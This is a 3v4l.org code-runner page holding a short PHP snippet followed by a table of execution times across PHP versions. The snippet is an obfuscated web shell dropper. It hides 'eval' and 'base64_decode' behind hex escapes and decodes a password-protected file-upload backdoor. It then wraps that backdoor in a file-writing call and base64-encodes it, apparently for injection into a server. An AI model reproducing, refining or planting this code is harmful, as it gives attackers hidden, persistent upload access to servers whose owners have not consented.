3v4l.org

run code in 300+ PHP versions simultaneously
<?php $u = '<?php $a="\x65"."v\x61"."l"; $b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("upload",\'' . $u . '\');'; echo base64_encode($v);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00718.43
8.3.50.0150.00818.19
8.3.40.0070.01418.77
8.3.30.0030.01018.46
8.3.20.0000.00818.60
8.3.10.0000.00820.41
8.3.00.0080.00019.38
8.2.180.0180.00316.32
8.2.170.0030.01022.96
8.2.160.0180.00018.91
8.2.150.0040.00425.66
8.2.140.0030.00624.66
8.2.130.0070.00026.16
8.2.120.0060.00320.45
8.2.110.0030.00621.02
8.2.100.0080.00417.78
8.2.90.0030.00719.47
8.2.80.0000.00719.46
8.2.70.0050.00317.63
8.2.60.0000.00818.04
8.2.50.0050.00318.07
8.2.40.0030.00518.17
8.2.30.0000.00718.04
8.2.20.0070.00319.34
8.2.10.0040.00417.82
8.2.00.0040.00417.79
8.1.280.0060.01225.92
8.1.270.0000.01023.99
8.1.260.0030.00526.35
8.1.250.0040.00428.09
8.1.240.0040.00820.61
8.1.230.0090.00321.03
8.1.220.0080.00017.79
8.1.210.0090.00218.77
8.1.200.0040.00417.23
8.1.190.0040.00417.40
8.1.180.0040.00418.10
8.1.170.0050.00318.84
8.1.160.0000.00818.86
8.1.150.0000.00718.75
8.1.140.0040.00417.33
8.1.130.0030.00317.88
8.1.120.0030.00517.50
8.1.110.0050.00317.45
8.1.100.0000.00817.36
8.1.90.0000.00717.52
8.1.80.0040.00417.36
8.1.70.0030.00317.35
8.1.60.0040.00417.60
8.1.50.0040.00417.49
8.1.40.0040.00417.48
8.1.30.0030.00517.64
8.1.20.0060.00317.68
8.1.10.0000.00817.37
8.1.00.0000.00717.34
8.0.300.0050.00220.04
8.0.290.0000.00716.58
8.0.280.0000.00718.36
8.0.270.0040.00417.16
8.0.260.0000.00716.82
8.0.250.0040.00416.96
8.0.240.0070.00016.88
8.0.230.0040.00416.95
8.0.220.0000.00716.78
8.0.210.0080.00016.82
8.0.200.0070.00016.86
8.0.190.0040.00416.87
8.0.180.0040.00416.97
8.0.170.0080.00016.81
8.0.160.0080.00017.02
8.0.150.0030.00616.85
8.0.140.0040.00416.75
8.0.130.0030.00313.28
8.0.120.0000.00816.86
8.0.110.0050.00316.83
8.0.100.0040.00416.82
8.0.90.0050.00216.79
8.0.80.0060.00916.88
8.0.70.0040.00416.77
8.0.60.0040.00416.81
8.0.50.0000.00716.69
8.0.30.0120.00917.14
8.0.20.0150.00617.37
8.0.10.0030.00616.90
8.0.00.0130.00716.72
7.4.330.0030.00312.98
7.4.320.0000.00716.53
7.4.300.0030.00316.35
7.4.290.0030.00316.54
7.4.280.0080.00016.45
7.4.270.0050.00316.44
7.4.260.0000.00613.22
7.4.250.0050.00516.32
7.4.240.0030.00516.54
7.4.230.0030.00316.52
7.4.220.0160.00416.45
7.4.210.0070.01016.52
7.4.200.0000.00716.61
7.4.190.0030.00316.53
7.4.160.0120.00416.55
7.4.150.0040.01416.61
7.4.140.0030.01316.55
7.4.130.0060.01216.32
7.4.120.0120.00916.40
7.4.110.0090.01216.56
7.4.100.0100.00716.53
7.4.90.0120.00616.26
7.4.80.0060.01019.39
7.4.70.0130.00416.60
7.4.60.0100.00916.45
7.4.50.0070.00016.40
7.4.40.0040.01116.30
7.4.30.0090.00616.40
7.4.00.0030.01015.09
7.3.330.0060.00013.01
7.3.320.0070.00013.16
7.3.310.0040.00416.13
7.3.300.0000.00616.18
7.3.290.0070.01116.29
7.3.280.0110.00516.29
7.3.270.0100.00716.48
7.3.260.0150.00316.40
7.3.250.0100.00716.41
7.3.240.0060.01216.43
7.3.230.0100.00616.35
7.3.210.0160.00016.36
7.3.200.0090.00616.43
7.3.190.0090.00916.52
7.3.180.0000.01716.34
7.3.170.0050.01516.50
7.3.160.0080.00816.55
7.3.120.0040.01114.54
7.2.330.0110.00716.66
7.2.320.0140.00616.71
7.2.310.0130.00316.66
7.2.300.0090.00916.27
7.2.290.0110.00416.61
7.2.00.0110.00619.14
7.1.70.0000.00817.18
7.1.60.0110.01419.31
7.1.50.0070.01716.91
7.1.00.0070.03022.37
7.0.200.0200.00314.87
7.0.140.0170.06022.00
7.0.120.0000.07722.03
7.0.60.0170.07719.88
7.0.50.0070.03717.83
7.0.40.0100.08720.08
7.0.30.0270.04020.06
7.0.20.0300.07720.16
7.0.10.0100.06320.09
7.0.00.0030.06020.00
5.6.280.0030.07320.88
5.6.210.0130.07320.52
5.6.200.0100.08018.17
5.6.190.0070.08020.73
5.6.180.0230.06320.61
5.6.170.0300.07320.54
5.6.160.0100.08320.50
5.6.150.0030.04318.22
5.6.140.0100.06318.11
5.6.130.0100.04718.14
5.6.120.0070.08721.01
5.6.110.0130.07021.08
5.6.100.0100.04020.96
5.6.90.0100.08020.87
5.6.80.0070.08020.28
5.5.350.4070.04320.52
5.5.340.0070.08717.88
5.5.330.0070.04320.40
5.5.320.0070.08020.30
5.5.310.0200.04020.24
5.5.300.0230.06317.94
5.5.290.0030.08717.98
5.5.280.0030.08720.75
5.5.270.0100.08020.75
5.5.260.0070.05720.83
5.5.250.0070.06320.68
5.5.240.0600.04020.18
5.4.450.3230.03319.51
5.4.440.3670.04019.51
5.4.430.3630.03319.23
5.4.420.3170.03719.41
5.4.410.3100.03719.30
5.4.400.3200.04019.22
5.4.390.3370.03019.06
5.4.380.3130.03319.11
5.4.370.3370.03719.13
5.4.360.3200.04018.82
5.4.350.3300.03719.08
5.4.340.3230.03318.79
5.4.320.3630.03718.92
5.4.310.2870.03718.88
5.4.300.2800.03318.80
5.4.290.3570.04019.07
5.4.280.3970.04719.07
5.4.270.3270.03719.08
5.4.260.1870.03718.91
5.4.250.0070.04318.91
5.4.240.3070.03019.08
5.4.230.3270.03719.20
5.4.220.3200.03719.05
5.4.210.3370.03719.08
5.4.200.3100.03319.07
5.4.190.3070.02719.07
5.4.180.2870.04019.08
5.4.170.2370.04319.09
5.4.160.3630.04018.89
5.4.150.2900.04019.11
5.4.140.0030.04016.57
5.4.130.1630.04316.30
5.4.120.3000.03016.35
5.4.110.3600.03316.32
5.4.100.3700.04316.39
5.4.90.3700.03316.34
5.4.80.2830.04316.39
5.4.70.3400.03716.05
5.4.60.3470.02716.31
5.4.50.3170.04016.20
5.4.40.4000.04016.47
5.4.30.3600.03316.36
5.4.20.4170.03016.18
5.4.10.2830.03316.32
5.4.00.3230.03315.75
5.3.290.3070.04014.69
5.3.280.3030.03714.43
5.3.270.3500.04014.45
5.3.260.3630.04714.50
5.3.250.0070.03314.69
5.3.240.0030.07714.39
5.3.230.3570.03714.46
5.3.220.3470.03714.50
5.3.210.3130.03714.54
5.3.200.3770.03014.51
5.3.190.3230.04014.44
5.3.180.3700.04014.51
5.3.170.3870.03314.41
5.3.160.3500.04314.56
5.3.150.3330.04014.55
5.3.140.3000.05014.39
5.3.130.4070.04314.38
5.3.120.4130.03314.41
5.3.110.3830.03714.49
5.3.100.3600.03313.88
5.3.90.3270.03713.92
5.3.80.3270.03713.84
5.3.70.3230.03714.05
5.3.60.3300.03713.84
5.3.50.3370.04013.91
5.3.40.3200.03013.78
5.3.30.3300.03713.82
5.3.20.2670.03013.78
5.3.10.1870.04313.70
5.3.00.2530.04013.58
5.2.170.2530.03011.10
5.2.160.1770.03011.04
5.2.150.2400.03310.98
5.2.140.2000.02711.00
5.2.130.2270.03010.96
5.2.120.1730.03010.94
5.2.110.1970.02711.14
5.2.100.2300.02311.11
5.2.90.2670.01710.94
5.2.80.1770.03311.11
5.2.70.1730.03311.15
5.2.60.2300.02710.91
5.2.50.2730.02310.85
5.2.40.1530.02710.90
5.2.30.2230.02310.81
5.2.20.1930.02710.86
5.2.10.2300.03010.95
5.2.00.2300.03010.58
5.1.60.2700.0379.86
5.1.50.2070.0209.91
5.1.40.2170.0179.86
5.1.30.2230.03010.25
5.1.20.2170.03010.26
5.1.10.1970.02710.14
5.1.00.2000.0339.93
5.0.50.1200.0238.70
5.0.40.1330.0208.57
5.0.30.1430.0308.08
5.0.20.1400.0208.27
5.0.10.1400.0278.07
5.0.00.1330.0338.22
4.4.90.1000.0136.46
4.4.80.1030.0176.46
4.4.70.1230.0206.46
4.4.60.1200.0206.46
4.4.50.1170.0206.46
4.4.40.1270.0306.46
4.4.30.0730.0176.46
4.4.20.1230.0136.46
4.4.10.1070.0136.46
4.4.00.1530.0276.46
4.3.110.1370.0206.46
4.3.100.1430.0206.46
4.3.90.1300.0106.46
4.3.80.1200.0276.46
4.3.70.1130.0176.46
4.3.60.1170.0136.46
4.3.50.1400.0176.46
4.3.40.1300.0176.46
4.3.30.0630.0136.46
4.3.20.0570.0176.46
4.3.10.0600.0176.46
4.3.00.0730.0136.46

preferences:
38.1 ms | 401 KiB | 5 Q